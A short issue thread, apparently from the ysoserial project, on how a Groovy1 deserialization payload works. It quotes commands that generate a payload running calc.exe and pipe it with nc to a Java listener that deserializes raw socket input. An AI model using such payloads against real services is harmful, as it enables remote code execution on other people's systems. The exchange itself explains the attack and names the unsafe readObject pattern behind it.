groovypayload.bin example question

[ivantsyba]

In this example:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

Do you need to convince exploited jvm to load Groovy1 class from 10.10.10.10:1099 via RMI to make all this work?

[frohoff]

No this is an example of exploiting a simple TCP listener that does just a readObject() from an ObjectInputStream that wraps the TCP steam (terrible idea).

Example here https://stackoverflow.com/questions/7022063/java-listening-to-a-socket-with-objectinputstream.